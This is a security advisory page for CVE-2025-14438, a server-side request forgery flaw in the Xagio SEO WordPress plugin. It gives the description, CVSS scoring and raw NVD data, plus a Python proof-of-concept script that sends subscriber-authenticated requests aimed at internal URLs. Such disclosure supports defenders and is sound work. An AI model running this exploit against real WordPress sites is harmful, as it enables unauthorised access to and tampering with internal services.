Security Vulnerability Report
中文
CVE-2025-14438 CVSS 6.4 MEDIUM

CVE-2025-14438

Published: 2026-01-06 05:15:59
Last Modified: 2026-04-15 00:35:42

Description

The Xagio SEO – AI Powered SEO plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.1.0.30 via the 'pixabayDownloadImage' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Xagio SEO plugin <= 7.1.0.30

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14438 SSRF PoC # Target: WordPress site with Xagio SEO plugin <= 7.1.0.30 def exploit_ssrf(target_url, internal_target, auth_cookie): """ Exploit SSRF in Xagio SEO pixabayDownloadImage function target_url: Base URL of WordPress site internal_target: Internal URL to target (e.g., http://localhost:port) auth_cookie: Valid subscriber-level authentication cookie """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request to trigger SSRF data = { 'action': 'xagio_pixabay_download', 'image_url': internal_target, # SSRF payload 'image_id': 'test123' } headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f"[*] Request sent to {internal_target}") print(f"[*] Response status: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-14438.py <target_url> <internal_target> <auth_cookie>") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] cookie = sys.argv[3] result = exploit_ssrf(target, internal, cookie) if result: print(f"[+] Response: {result[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14438", "sourceIdentifier": "[email protected]", "published": "2026-01-06T05:15:58.633", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Xagio SEO – AI Powered SEO plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.1.0.30 via the 'pixabayDownloadImage' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}, {"lang": "es", "value": "El plugin Xagio SEO – SEO impulsado por IA para WordPress es vulnerable a falsificación de petición del lado del servidor en todas las versiones hasta la 7.1.0.30, inclusive, a través de la función 'pixabayDownloadImage'. Esto permite a atacantes autenticados, con acceso de nivel Suscriptor y superior, realizar peticiones web a ubicaciones arbitrarias originadas desde la aplicación web y puede ser utilizado para consultar y modificar información de servicios internos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/xagio-seo/tags/7.1.0.29/inc/xagio_core.php#L236", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/xagio-seo/tags/7.1.0.29/modules/seo/models/xagio_tinymce.php#L135", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/xagio-seo/tags/7.1.0.29/modules/seo/models/xagio_tinymce.php#L91", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3426300/xagio-seo#file374", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/72779dd2-04eb-445d-88a0-28a9c4d2369b?source=cve", "source": "[email protected]"}]}}